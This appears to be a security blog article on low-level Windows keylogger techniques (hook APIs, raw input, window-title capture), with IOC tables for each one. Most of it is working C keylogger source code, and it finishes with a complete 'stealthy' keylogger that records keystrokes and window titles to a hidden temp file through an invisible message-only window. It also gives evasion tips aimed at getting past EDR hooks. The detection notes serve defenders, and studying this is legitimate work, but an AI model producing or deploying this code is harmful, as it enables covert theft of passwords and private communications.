Low-Level Keylogger Architectures: A Deep Dive into Windows Input Capture Mechanisms

keylogger

“Every keystroke tells a story. The trick is making sure no one knows you’re listening with a keylogger.”

Introduction

Keyloggers have been around since forever. They’re one of those tools that sit quietly in the background, capturing every keystroke a user makes. Whether you’re a red teamer testing an organization’s defenses or a malware analyst trying to understand threat actor TTPs, understanding how keyloggers work at a low level is absolutely essential.

In this deep dive, we’re gonna break down different keylogger implementation techniques, how they actually work under the hood in the Windows kernel, and most importantly – what Indicators of Compromise (IOCs) each technique leaves behind. This isn’t your typical “copy-paste SetWindowsHookEx” tutorial. We’re going deep into the internals of win32k.sys, understanding kernel structures, and exploring techniques that most EDR vendors don’t even look for.

Let’s get into it.

“They say walls have ears. In Windows, so does win32k.sys”


The Classic: SetWindowsHookEx

This is the bread and butter of keylogger implementations. If you’ve ever written or analyzed a keylogger, chances are it used user32.dll!SetWindowsHookEx. The majority of commodity malware still relies on this API because, well, it just works.

How It Actually Works

Internally, SetWindowsHookEx is just a user-mode wrapper. When you call it, here’s what happens under the hood:

user32.dll!SetWindowsHookEx
    ↓
ntdll.dll!NtUserSetWindowsHookEx
    ↓
win32k.sys!NtUserSetWindowsHookEx
    ↓
win32k.sys!zzzzNtUserSetWindowsHookEx

The real magic happens in win32k.sys. This kernel-mode driver is responsible for all the window management and input handling in Windows. When your SetWindowsHookEx call reaches the kernel, it goes through four distinct phases:

Phase 1: Hook Record Allocation

The kernel creates an internal HOOK structure. This structure contains:

  • The filter type (keyboard, mouse, CBT, etc.)
  • Module handle of your hook DLL
  • Thread and desktop identifiers
  • Pointer to your callback function

This structure gets inserted at the head of the global hook chain for that particular hook type. Yeah, there’s literally a linked list of hooks in the kernel.

Phase 2: The Injection Decision

This is where things get interesting. The kernel has to decide whether your hook procedure needs to run in every target process or just in your own process.

For Low-Level Hooks (WH_KEYBOARD_LL, WH_MOUSE_LL):

No injection happens. At all. The system keeps your hook DLL in your own process’s address space. When keyboard events occur, the kernel delivers them to your process via internal WM_* messages posted to a hidden “ghost” window. Your process needs to pump messages to receive these events.

For Regular Global Hooks (WH_KEYBOARD, WH_CBT, WH_GETMESSAGE, etc.):

This is where the DLL injection magic happens. For every process that matches the filter criteria (same desktop, matching bitness), the kernel needs to map your DLL into that process.

The mechanism changed over Windows versions:

  • Before/In Vista: win32k queues an asynchronous load request to csrss.exe, which then calls LoadLibraryEx inside each target process.
  • After Vista: Target processes get added to a pending-load list inside win32k. The first time a target process exits from kernel mode back to user mode, an APC (Asynchronous Procedure Call) fires and calls LdrLoadDll directly.

Either way, your DLL’s DllMain runs in the context of every hooked process. That’s free code injection without ever touching WriteProcessMemory or CreateRemoteThread.

Phase 3: Event Routing

When someone presses a key, win32k walks the hook chain inside the thread that owns the input queue.

  • If your hook procedure lives in that process (because it was injected), the kernel just calls the function directly.
  • If your procedure lives in another process (low-level hook case), the kernel marshals the parameters (KBDLLHOOKSTRUCT for keyboards) into an internal message and posts it to your thread’s message queue.

This is why low-level hooks are so easy to detect – if your installing thread stops pumping messages, the system blocks ALL further input for the entire desktop. Users notice when their keyboard stops working.

Phase 4: The CallNextHookEx Requirement

Every hook handler must call CallNextHookEx to pass control down the chain. This is just a call back into win32k to continue the chain walk. If any handler fails to call it, the chain breaks and subsequent handlers never run. You can literally break input handling for an entire session by screwing this up.

Code Example: Basic SetWindowsHookEx Keylogger

<pre class="wp-block-syntaxhighlighter-code">#include <windows.h>
#include <stdio.h>
HHOOK hKeyboardHook;
FILE* logFile;
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0) {
        KBDLLHOOKSTRUCT* kbStruct = (KBDLLHOOKSTRUCT*)lParam;
        if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
            // Log the virtual key code
            fprintf(logFile, "Key: 0x%02X\n", kbStruct->vkCode);
            fflush(logFile);
        }
    }
    // ALWAYS call this or you break the chain
    return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
int main() {
    logFile = fopen("keylog.txt", "a");
    if (!logFile) {
        printf("[-] Failed to open log file\n");
        return -1;
    }
    // Install low-level keyboard hook
    hKeyboardHook = SetWindowsHookEx(
        WH_KEYBOARD_LL,     // Hook type
        KeyboardProc,        // Callback function
        GetModuleHandle(NULL), // Module handle
        0                    // Thread ID (0 = all threads)
    );
    if (!hKeyboardHook) {
        printf("[-] Failed to install hook: %d\n", GetLastError());
        fclose(logFile);
        return -1;
    }
    printf("[+] Hook installed. Logging keystrokes...\n");
    // Message pump - REQUIRED for low-level hooks
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    UnhookWindowsHookEx(hKeyboardHook);
    fclose(logFile);
    return 0;
}</pre>

The Trade-offs

Low-level hooks look stealthy because no foreign code is mapped into other processes. But they pin your installing thread to the message pump and are trivially detected by their message-queue footprint.

Regular global hooks achieve true code injection without any of the usual injection primitives. But they leave a mapped DLL in every hooked process. Easy VAD artifact for EDRs to spot.

IOCs for SetWindowsHookEx

IndicatorDetection MethodNotes
Hook in user32API hooking/monitoringCould catch the SetWindowsHookEx call itself
VAD entryMemory scanningEDRs can enumerate VAD and check DLL signatures
Mapped DLLMemory forensicsIs it signed? Is it supposed to be there?
Non-backed executable memoryMemory scanningMemory not backed by on-disk file is suspicious

Most EDRs avoid exhaustive VAD walks for every process on every event – that would kill performance. But many will do targeted scans when something suspicious happens (allocation > 64KB, RWX memory, etc.).


Going Deeper: NtUserSetWindowsHookEx

If you wanna bypass potential user-mode hooks that security products place on SetWindowsHookEx, you can call the lower-level function directly.

<pre class="wp-block-syntaxhighlighter-code">#include <windows.h>
typedef HHOOK(NTAPI* pNtUserSetWindowsHookEx)(
    HANDLE hmod,
    PUNICODE_STRING pstrLib,
    DWORD idThread,
    int nFilterType,
    HOOKPROC pfnFilterProc,
    DWORD dwFlags
);
HHOOK InstallHookDirect(HOOKPROC callback, int hookType) {
    HMODULE hWin32u = LoadLibraryA("win32u.dll");
    if (!hWin32u) {
        return NULL;
    }
    pNtUserSetWindowsHookEx NtUserSetWindowsHookEx = 
        (pNtUserSetWindowsHookEx)GetProcAddress(hWin32u, "NtUserSetWindowsHookEx");
    if (!NtUserSetWindowsHookEx) {
        return NULL;
    }
    // Direct syscall to install hook
    return NtUserSetWindowsHookEx(
        GetModuleHandle(NULL),
        NULL,
        0,
        hookType,
        callback,
        0
    );
}</pre>

The thing is, this doesn’t really buy you much from an evasion perspective. Same IOCs apply – you’re still creating a hook record in the kernel, still potentially mapping DLLs, still leaving the same artifacts.

You’re only bypassing potential hooks in user32.dll. The full logic of these functions could theoretically be reimplemented without jumping to external modules, but it’s way too complex and leaves too many IOCs to be worth it.

Important Note on Session Boundaries

Raw-input registration is per-session, not per-desktop. A service running in session-0 cannot register for keyboard raw-input and expect to see session-1 keystrokes – the HID packets get routed to the session that owns the target HWND.

You can open the physical keyboard device object directly and parse HID, but that’s a completely different attack surface. Needs admin, bypasses win32k entirely.

IOCs for Direct Syscalls

IndicatorDetection MethodNotes
VAD entriesMemory scanningSame as SetWindowsHookEx
Mapped DLLForensicsSignature verification matters
Direct syscall patternsEDR behavior analysisLooking for syscall instructions outside ntdll

The Sneaky Way: RegisterRawInputDevices

Now we’re getting into the interesting stuff. This technique is much less common in the wild but offers some nice evasion properties.

RegisterRawInputDevices (and its kernel counterpart NtUserRegisterRawInputDevices) tells the window manager to deliver raw HID packets directly to one specific HWND. No hooks needed.

The Attack Pattern

Here’s how you abuse this:

  1. Start a background thread with a message loop (PeekMessage/GetMessage)
  2. Create a zero-sized message-only window using HWND_MESSAGE as the parent
  3. Register keyboard raw-input with RIDEV_INPUTSINK flag – this routes all keyboard traffic to your window even when it’s not in the foreground
  4. Pump messages forever; in the WM_INPUT handler call GetRawInputData and log the RAWKEYBOARD payload
  5. Exfiltrate
  6. Profit

Why This Is Nice

Because no hook is installed:

  • Does not appear in WinDbg’s !hook list
  • Leaves no cross-process DLL mapping
  • Is invisible to most EDR “hook chain” sensors

But you still need your process to stay alive and pumping messages. And you can’t keylog sessions you’re not running in.

Full Implementation

<pre class="wp-block-syntaxhighlighter-code">#include <windows.h>
#include <stdio.h>
FILE* logFile;
HWND hHiddenWindow;
// Window procedure for our hidden window
LRESULT CALLBACK HiddenWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) {
    switch (message) {
        case WM_INPUT: {
            UINT dwSize = 0;
            // Get required buffer size
            GetRawInputData(
                (HRAWINPUT)lParam, 
                RID_INPUT, 
                NULL, 
                &dwSize, 
                sizeof(RAWINPUTHEADER)
            );
            if (dwSize == 0) break;
            LPBYTE lpb = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, dwSize);
            if (lpb == NULL) break;
            // Get the actual data
            if (GetRawInputData(
                (HRAWINPUT)lParam, 
                RID_INPUT, 
                lpb, 
                &dwSize, 
                sizeof(RAWINPUTHEADER)) != dwSize) {
                HeapFree(GetProcessHeap(), 0, lpb);
                break;
            }
            RAWINPUT* raw = (RAWINPUT*)lpb;
            if (raw->header.dwType == RIM_TYPEKEYBOARD) {
                RAWKEYBOARD* keyboard = &raw->data.keyboard;
                // WM_KEYDOWN equivalent
                if (keyboard->Message == WM_KEYDOWN || 
                    keyboard->Message == WM_SYSKEYDOWN) {
                    fprintf(logFile, "VK: 0x%02X, Scan: 0x%02X, Flags: 0x%04X\n",
                        keyboard->VKey,
                        keyboard->MakeCode,
                        keyboard->Flags);
                    fflush(logFile);
                }
            }
            HeapFree(GetProcessHeap(), 0, lpb);
            break;
        }
        case WM_DESTROY:
            PostQuitMessage(0);
            break;
        default:
            return DefWindowProc(hWnd, message, wParam, lParam);
    }
    return 0;
}
BOOL RegisterForRawInput(HWND hWnd) {
    RAWINPUTDEVICE rid[1];
    rid[0].usUsagePage = 0x01;      // Generic Desktop Controls
    rid[0].usUsage = 0x06;          // Keyboard
    rid[0].dwFlags = RIDEV_INPUTSINK; // Receive input even when not focused
    rid[0].hwndTarget = hWnd;
    return RegisterRawInputDevices(rid, 1, sizeof(rid[0]));
}
DWORD WINAPI KeyloggerThread(LPVOID lpParam) {
    // Register window class
    WNDCLASSEX wc = {0};
    wc.cbSize = sizeof(WNDCLASSEX);
    wc.lpfnWndProc = HiddenWndProc;
    wc.hInstance = GetModuleHandle(NULL);
    wc.lpszClassName = "RawInputKeylogger";
    if (!RegisterClassEx(&wc)) {
        printf("[-] RegisterClassEx failed: %d\n", GetLastError());
        return 1;
    }
    // Create message-only window (invisible, not part of any desktop)
    hHiddenWindow = CreateWindowEx(
        0,
        "RawInputKeylogger",
        "",
        0,
        0, 0, 0, 0,          // Zero size
        HWND_MESSAGE,         // Message-only window
        NULL,
        GetModuleHandle(NULL),
        NULL
    );
    if (!hHiddenWindow) {
        printf("[-] CreateWindowEx failed: %d\n", GetLastError());
        return 1;
    }
    // Register for raw keyboard input
    if (!RegisterForRawInput(hHiddenWindow)) {
        printf("[-] RegisterRawInputDevices failed: %d\n", GetLastError());
        DestroyWindow(hHiddenWindow);
        return 1;
    }
    printf("[+] Raw input registered. Logging...\n");
    // Message pump
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return 0;
}
int main() {
    logFile = fopen("rawkeylog.txt", "a");
    if (!logFile) {
        printf("[-] Failed to open log file\n");
        return -1;
    }
    HANDLE hThread = CreateThread(
        NULL,
        0,
        KeyloggerThread,
        NULL,
        0,
        NULL
    );
    if (!hThread) {
        printf("[-] Failed to create thread\n");
        fclose(logFile);
        return -1;
    }
    // Wait for thread (or do other stuff)
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    fclose(logFile);
    return 0;
}</pre>

What Happens in the Kernel

When you call RegisterRawInputDevices, here’s the kernel-side flow:

  1. Oplock Setting – Prevents race conditions during registration
  2. Parameter Validation – Makes sure your RAWINPUTDEVICE structures are sane
  3. Kernel AllocationWin32AllocPoolWithQuotaZInit allocates a kernel copy of your device array
  4. Internal Registration – The internal worker walks the array, updates the per-thread raw-input hook list, and tells hidclass which top-level windows want raw HID traffic
  5. ETW EmissionEtwTraceAuditApiRegisterRawInputDevices fires an ETW event for Audit/Threat-Intelligence
  6. Cleanup

The internal worker modifies your process’s EPROCESS structure. This is why you can’t just reimplement this from user-mode – you need the kernel to modify those structures.

IOCs for Raw Input Keylogging

Here’s the thing – this technique has one MASSIVE IOC:

IndicatorDetection MethodSeverity
ETW Event from win32kfull.sysETW ConsumerCRITICAL – NOT AVOIDABLE
Desktop requirementSession monitoringProcess must be connected to a desktop

The ETW payload contains PID, TID, UsagePage, Usage, Flags – more than enough to trivially score “keyboard raw-input from a non-interactive process” as suspicious.

This channel is on by default and cannot be disabled without patching the kernel. Rumors have it that Defender has been monitoring this since Windows 20H1.

The Desktop Problem

Raw-input registration requires a window station and desktop. The call fails with ERROR_INVALID_WINDOW_HANDLE if your thread isn’t connected to a desktop.

Services running in session-0 with no desktop cannot use this path. They’d have to either:

  • Create a hidden desktop (logged by Object Manager auditing)
  • Open \Device\KeyboardClass0 directly (creates IRP_MJ_READ telemetry)

Both are easy to alert on.


Bonus: Capturing Window Titles

To make your keylogger actually useful, you probably want to know which application the user is typing into. Otherwise you just have a stream of keystrokes with no context.

The Detected Way: GetWindowTextA

char windowTitle[256];
HWND foregroundWindow = GetForegroundWindow();
GetWindowTextA(foregroundWindow, windowTitle, sizeof(windowTitle));

This is the most detected function ever. Every skid keylogger in existence calls it. EDRs have been flagging this pattern for years.

Internally it wraps around NtUserInternalGetWindowText.

The Less Detected Way: NtUserInternalGetWindowText

<pre class="wp-block-syntaxhighlighter-code">#include <windows.h>
// Forward declaration
typedef DWORD(NTAPI* pNtUserInternalGetWindowText)(
    HWND hWnd,
    LPWSTR pString,
    int cchMaxCount
);
BOOL GetWindowTitleDirect(HWND hWnd, LPWSTR buffer, int bufferSize) {
    HMODULE hWin32u = LoadLibraryA("win32u.dll");
    if (!hWin32u) {
        return FALSE;
    }
    pNtUserInternalGetWindowText NtUserInternalGetWindowText = 
        (pNtUserInternalGetWindowText)GetProcAddress(
            hWin32u, 
            "NtUserInternalGetWindowText"
        );
    if (!NtUserInternalGetWindowText) {
        return FALSE;
    }
    DWORD result = NtUserInternalGetWindowText(hWnd, buffer, bufferSize);
    if (!result) {
        buffer[0] = L'\0';
    }
    return result != 0;
}
// Usage example
void LogWithWindowContext(WORD vkCode) {
    HWND foreground = GetForegroundWindow();
    WCHAR title[256] = {0};
    GetWindowTitleDirect(foreground, title, 256);
    wprintf(L"[%s] Key: 0x%02X\n", title, vkCode);
}</pre>

This is much less detected because it’s a very low-level function. Same signature as GetWindowTextW. It’s defined in win32kfull.sys but exposed through win32u.dll.

Since it’s a syscall, you can use your favorite syscall evasion technique – Hell’s Gate, Halo’s Gate, SysWhispers, whatever works for your threat model.

Reverse engineering this was tedious because the only documentation online is scattered across old leaked Windows source references:

BOOL InternalGetWindowText(HWND hwnd, LPWSTR pString, int cchMaxCount) {
    DWORD retval = (DWORD)NtUserInternalGetWindowText(hwnd, pString, cchMaxCount);
    if (!retval) {
        *pString = (WCHAR)0;
    }
    return retval;
}

Ideas We Explored But Abandoned

Research isn’t always straightforward. Here are some approaches we tried that didn’t pan out:

NtUserBuildHwndList Approach

The idea was to use NtUserBuildHwndList or EnumWindows and reimplement the z-order heuristic. Generate a list of all window handles, call IsWindowVisible on each, and figure out which one is foreground.

Why we abandoned it: While this technically works, it’s incredibly complex to implement correctly. And there’s no reliable way to definitively determine foreground status from user-mode without calling the functions we’re trying to avoid.

KUSER_SHARED_DATA Approach

Walk _KUSER_SHARED_DATA to query its ConsoleSessionForegroundProcessId member. Then query the system to find that PID’s windows.

Why we abandoned it:

  • Same problem – we can’t reliably determine if a specific window is foreground
  • Doesn’t help if the target PID has multiple window handles
  • Too many edge cases to handle reliably

Complete Implementation: Stealthy Keylogger

Putting it all together, here’s a more complete implementation that combines the techniques we’ve discussed:

<pre class="wp-block-syntaxhighlighter-code">#include <windows.h>
#include <stdio.h>
#include <time.h>
// Function pointer for NtUserInternalGetWindowText
typedef DWORD(NTAPI* pNtUserInternalGetWindowText)(
    HWND hWnd,
    LPWSTR pString,
    int cchMaxCount
);
// Globals
FILE* g_LogFile = NULL;
HWND g_HiddenWindow = NULL;
pNtUserInternalGetWindowText g_NtUserInternalGetWindowText = NULL;
HWND g_LastWindow = NULL;
// Initialize the direct syscall for window text
BOOL InitializeNtFunctions() {
    HMODULE hWin32u = LoadLibraryA("win32u.dll");
    if (!hWin32u) return FALSE;
    g_NtUserInternalGetWindowText = (pNtUserInternalGetWindowText)
        GetProcAddress(hWin32u, "NtUserInternalGetWindowText");
    return g_NtUserInternalGetWindowText != NULL;
}
// Get window title without triggering GetWindowTextA hooks
void GetWindowTitleSafe(HWND hWnd, WCHAR* buffer, int size) {
    if (g_NtUserInternalGetWindowText) {
        DWORD result = g_NtUserInternalGetWindowText(hWnd, buffer, size);
        if (!result) buffer[0] = L'\0';
    } else {
        buffer[0] = L'\0';
    }
}
// Translate virtual key to character
WCHAR VkToChar(UINT vk, UINT scanCode) {
    BYTE keyState[256];
    GetKeyboardState(keyState);
    WCHAR buffer[5] = {0};
    int result = ToUnicode(vk, scanCode, keyState, buffer, 4, 0);
    if (result > 0) return buffer[0];
    return 0;
}
// Log a keystroke with context
void LogKeystroke(RAWKEYBOARD* keyboard) {
    HWND foreground = GetForegroundWindow();
    // Log window change
    if (foreground != g_LastWindow) {
        WCHAR title[256] = {0};
        GetWindowTitleSafe(foreground, title, 256);
        time_t now = time(NULL);
        struct tm* t = localtime(&now);
        fwprintf(g_LogFile, L"\n[%02d:%02d:%02d] Window: %s\n",
            t->tm_hour, t->tm_min, t->tm_sec,
            wcslen(title) > 0 ? title : L"(untitled)");
        g_LastWindow = foreground;
    }
    // Translate and log keystroke
    WCHAR ch = VkToChar(keyboard->VKey, keyboard->MakeCode);
    if (ch >= 32 && ch < 127) {
        // Printable character
        fwprintf(g_LogFile, L"%c", ch);
    } else {
        // Special keys
        switch (keyboard->VKey) {
            case VK_RETURN:
                fwprintf(g_LogFile, L"\n");
                break;
            case VK_SPACE:
                fwprintf(g_LogFile, L" ");
                break;
            case VK_TAB:
                fwprintf(g_LogFile, L"[TAB]");
                break;
            case VK_BACK:
                fwprintf(g_LogFile, L"[BS]");
                break;
            default:
                // Log VK code for other special keys
                if (keyboard->VKey >= VK_F1 && keyboard->VKey <= VK_F12) {
                    fwprintf(g_LogFile, L"[F%d]", keyboard->VKey - VK_F1 + 1);
                }
                break;
        }
    }
    fflush(g_LogFile);
}
// Window procedure
LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) {
    if (msg == WM_INPUT) {
        UINT dwSize = 0;
        GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, 
            sizeof(RAWINPUTHEADER));
        if (dwSize > 0) {
            LPBYTE lpb = (LPBYTE)HeapAlloc(GetProcessHeap(), 0, dwSize);
            if (lpb) {
                if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, 
                    &dwSize, sizeof(RAWINPUTHEADER)) == dwSize) {
                    RAWINPUT* raw = (RAWINPUT*)lpb;
                    if (raw->header.dwType == RIM_TYPEKEYBOARD) {
                        if (raw->data.keyboard.Message == WM_KEYDOWN ||
                            raw->data.keyboard.Message == WM_SYSKEYDOWN) {
                            LogKeystroke(&raw->data.keyboard);
                        }
                    }
                }
                HeapFree(GetProcessHeap(), 0, lpb);
            }
        }
        return 0;
    }
    return DefWindowProc(hWnd, msg, wParam, lParam);
}
// Main entry point
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrev, 
                   LPSTR lpCmd, int nShow) {
    // Initialize
    g_LogFile = _wfopen(L"C:\\Windows\\Temp\\log.dat", L"a, ccs=UTF-8");
    if (!g_LogFile) return -1;
    if (!InitializeNtFunctions()) {
        fclose(g_LogFile);
        return -1;
    }
    // Register window class
    WNDCLASSEX wc = {0};
    wc.cbSize = sizeof(WNDCLASSEX);
    wc.lpfnWndProc = WndProc;
    wc.hInstance = hInstance;
    wc.lpszClassName = "MsgHandler";
    RegisterClassEx(&wc);
    // Create hidden message-only window
    g_HiddenWindow = CreateWindowEx(0, "MsgHandler", "", 0,
        0, 0, 0, 0, HWND_MESSAGE, NULL, hInstance, NULL);
    if (!g_HiddenWindow) {
        fclose(g_LogFile);
        return -1;
    }
    // Register for raw keyboard input
    RAWINPUTDEVICE rid = {0};
    rid.usUsagePage = 0x01;
    rid.usUsage = 0x06;
    rid.dwFlags = RIDEV_INPUTSINK;
    rid.hwndTarget = g_HiddenWindow;
    if (!RegisterRawInputDevices(&rid, 1, sizeof(rid))) {
        DestroyWindow(g_HiddenWindow);
        fclose(g_LogFile);
        return -1;
    }
    // Message loop
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    fclose(g_LogFile);
    return 0;
}</pre>

Detection Matrix: Comparing All Techniques

TechniqueStealth LevelComplexitySession LimitationPrimary IOC
SetWindowsHookEx (LL)LowEasyYesMessage queue pinning
SetWindowsHookEx (Global)Very LowEasyYesDLL in every process VAD
NtUserSetWindowsHookExLow-MediumMediumYesSame as above, bypasses user32 hooks
RegisterRawInputDevicesMediumMediumYesETW event (unavoidable)
Direct HID deviceHighHardNo (admin required)IRP_MJ_READ telemetry

Conclusion

Keyloggers aren’t going away anytime soon. Understanding how they work at a low level – from the user-mode APIs all the way down to the kernel structures – is essential whether you’re building red team tools or defending against them.

The key takeaways:

  1. SetWindowsHookEx is easy but noisy – Every EDR knows about it, every forensic analyst looks for it.
  2. Raw input is sneakier but has an unavoidable ETW IOC – The kernel logs your registration and there’s nothing you can do about it (short of kernel patching).
  3. Session boundaries matter – You can’t keylog across sessions without elevated privileges and different techniques.
  4. Every technique has trade-offs – There’s no magic bullet that’s completely invisible and works everywhere.

For red teamers, the best approach is probably to combine multiple techniques, understand your target’s detection capabilities, and choose the right tool for the job. For defenders, understanding these implementation details helps you build better detections and know exactly what artifacts to look for.

The cat-and-mouse game continues.


References